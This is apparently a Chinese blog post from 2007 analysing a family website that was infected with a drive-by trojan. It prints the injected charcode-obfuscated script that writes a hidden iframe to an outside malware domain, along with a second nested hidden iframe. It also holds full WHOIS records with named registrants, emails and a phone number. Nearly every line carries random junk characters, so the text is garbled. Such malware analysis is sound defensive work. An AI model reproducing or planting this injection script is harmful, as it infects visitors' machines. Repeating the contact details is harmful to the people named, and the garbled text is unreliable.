首发在我的博客里面，
VN`.*B|9[ $1yy;IyR http://www.areway.cn/?p=175 @KQ>DBWQM EI_-5Tt RD 1 Pk+zBJ$ 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
~ P3b5 - BH:A]#_{ <script>t=’60,105,102,114,97,109,101,
(`(D
$% 32,115,114,99,61,104,116,116,112,58,47,47,
J[ZHAnmPH 102,114,101,101,46,117,45,117,117,117,46,99,
:nx+(xgw 110,47,101,114,114,111,114,46,104,116,109,
o=rR^Z$G 32,119,105,100,116,104,61,49,48,48,32,104,
OZ&/&?!XE 101,105,103,104,116,61,48,62,60,47,105,102,
~$J ;yo~ 114,97,109,101,62′;
yqN`R\d t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
2Q6;SF"Z L}h_\1 <script>t=’60,105,102,114,97,109,101,32,115,
LG[N\%<!H 114,99,61,104,116,116,112,58,47,47,102,114,
.S//T/3O]Q 101,101,46,117,45,117,117,117,46,99,110,47,
s"jvO>[ 101,114,114,111,114,46,104,116,109,32,119,
M}8P _< , 105,100,116,104,61,49,48,48,32,104,101,105,
#9,8{ O" 103,104,116,61,48,62,60,47,105,102,114,97,
g+#<;Gbpe 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
h>pu^ `hk document.write(t);</script>
:-?ZU4) Tg{5%~L] <html xmlns=”
#/oH #/? http://www.w3.org/1999/xhtml +ktv : d “>
#W~jQ5NS\ <head>
sOhn@*X <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
Qs1CK;+zU <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
p:08q
B|uQ <title>首页 - 爱生活家庭网
?%,LZw^[ T5:Q_o] 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
|Y3w6 !$ 转换字符串后的大概内容是（谁点击后果自付）：
XvI~"} <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
6 f*:; `2f/4]fY 查询玉米u-uuu.cn的详细信息：
Z9 vMz3^N Domain Name: u-uuu.cn
-06 G.;W\^ ROID: 20070901s10001s64972306-cn
Bsa;, Domain Status: ok
TiD#t+g Registrant Organization: 王雷
~4 fE`-O Registrant Name: 王雷
[Hh*lKg Administrative Email:
czlovexs@126.com iT'doF Sponsoring Registrar: 北京万网志成科技有限公司
$_S-R
3L\ Name Server:ns.yovole.com
VhO+nvd*W Name Server:ns1.yovole.com
^yW['H6V Registration Date: 2007-09-01 17:54
d6n_Hpxw^ Expiration Date: 2008-09-01 17:54
xJ>5 ol 最后PING了一下地址 都没有什么….
D!.c??
Y (UK:LZ' 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
,`f]mv l <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
in>+D|q
c <script language=”javascript” src=”
,
>7PG2
a http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script L3b0e_8>R >
<| r| s 这个玉米应该有可能是木马作者的：
}u8(7 foafau.info的详细信息：
uWJJ\ Access to INFO WHOIS information is provided to assist persons in
[/a
AH<9b determining the contents of a domain name registration record in the
TtkHMPlm_ Afilias registry database. The data in this record is provided by
k L DpZ{ Afilias Limited for informational purposes only, and Afilias does not
d88A.Z3w guarantee its accuracy. This service is intended only for query-based
9~h W8{# access. You agree that you will use this data only for lawful purposes
8&JB_%Gb and that, under no circumstances will you use this data to: (a) allow,
y i$+rPF1 enable, or otherwise support the transmission by e-mail, telephone, or
|enLv12Gm facsimile of mass unsolicited, commercial advertising or solicitations
w"{DLN[Qw to entities other than the data recipient’s own existing customers; or
LK} g<!o( (b) enable high volume, automated, electronic processes that send
6Z|h>H5 a queries or data to the systems of Registry Operator, a Registrar, or
3dN`Q:1R9 Afilias except as reasonably necessary to register domain names or
p7QZn.,=u modify existing registrations. All rights reserved. Afilias reserves
/?; 'y,(Q the right to modify these terms at any time. By submitting this query,
|%|03}Q you agree to abide by this policy.
p_I^7 $ Domain ID:D22418703-LRMS
Gazva/e Domain Name:FOAFAU.INFO
v>keZZOs Created On:20-Nov-2007 16:05:42 UTC
t+v %%N_ Last Updated On:20-Nov-2007 16:05:44 UTC
3)Wf BvG Expiration Date:20-Nov-2008 16:05:42 UTC
G2|jS@L# Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
r;{ $x Status:CLIENT DELETE PROHIBITED
rt^~
I \V Status:CLIENT RENEW PROHIBITED
BL&AZv/T Status:CLIENT TRANSFER PROHIBITED
]W;6gmV Status:CLIENT UPDATE PROHIBITED
YYpC!) Status:TRANSFER PROHIBITED
3CD#OCz7& Registrant ID:GODA-040110615
ye iIP Registrant Name:liu hong
Erw 1y,mF Registrant Organization:
0`"oR3JY Registrant Street1:beijing
NVRzthg%c_ Registrant Street2:
|$\K/]q - Registrant Street3:
lJ;Wi Registrant City:beijing
sJZ2e6?n Registrant State/Province:
[W3X$ r~- Registrant Postal Code:100000
wQG?)aaM Registrant Country:CN
,ayEZ#4.m Registrant Phone:+86.860108888777
!=eNr<:V. Registrant Phone Ext.:
r#OPW7mhE Registrant FAX:
.e7tq\k Registrant FAX Ext.:
i.^ytbH Registrant Email:bbbshiji@163.com
- VJx)g Admin ID:GODA-240110615
loIb}8 Admin Name:liu hong
a <C?- g| Admin Organization:
JOuyEPy Admin Street1:beijing
opH!sa@U Admin Street2:
*;@wPT Admin Street3:
1 !_p
Admin City:beijing
1r=cC M Admin State/Province:
A, F~*LXm Admin Postal Code:100000
qFWN._R Admin Country:CN
p q`uB Admin Phone:+86.860108888777
eN<L)a:J_ Admin Phone Ext.:
HQ@ g6 Admin FAX:
4Kch=jt4# Admin FAX Ext.:
[2-n*a(q Admin Email:bbbshiji@163.com
*k7BE_&*0Z Billing ID:GODA-340110615
P<IDb%W Billing Name:liu hong
Bf*>q*%B{ Billing Organization:
l WYp Billing Street1:beijing
F q~uuQ Billing Street2:
v \i"-KH Billing Street3:
OTF/Pu$ Billing City:beijing
LW CFCkx% Billing State/Province:
IW~wO Billing Postal Code:100000
HThZ4Kg+ Billing Country:CN
w W\[#Ku Billing Phone:+86.860108888777
Zp)=l Td Billing Phone Ext.:
$w*L'
< Billing FAX:
4|K\pCw Billing FAX Ext.:
UF7h{V}) Billing Email:bbbshiji@163.com
8)>x) T Tech ID:GODA-140110615
]mMJ6n Tech Name:liu hong
9:p-F+ Tech Organization:
Aax;0qGbH Tech Street1:beijing
l~"T>=jq3 Tech Street2:
SAdT#0J Tech Street3:
2
` >a( Tech City:beijing
BP9#}{kE Tech State/Province:
%rb$tKk Tech Postal Code:100000
9nN1f@Y Tech Country:CN
36{GZDGQ Tech Phone:+86.860108888777
k QmkS^R Tech Phone Ext.:
&P b:P?I Tech FAX:
J$51z Tech FAX Ext.:
N`Q.u-' Tech Email:bbbshiji@163.com
3q73L<f Name Server:NS27.DOMAINCONTROL.COM
*|S6iSn9R! Name Server:NS28.DOMAINCONTROL.COM
{R ),7 U8 Name Server:
k7iko {5D Name Server:
|^l_ F1+w Name Server:
{V/>5pz4e Name Server:
\Wfw\ x0. Name Server:
[uU!\xe Name Server:
AY5iTbL1 Name Server:
Y5tyFi#w[ Name Server:
T)gulP Name Server:
^7y t > Name Server:
3`cA!ZVQ Name Server:
GCJ[x n(_ srf}+ >u& 接着下载每个文件里面的代码：
u0L-xC$L 一步一步看..
o{y}c-> 
Wa|V~PL+T 
xuv W6Q; 
G{!er:Vwdh 
5csh8i'V 
YJv$,Z&;HO 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
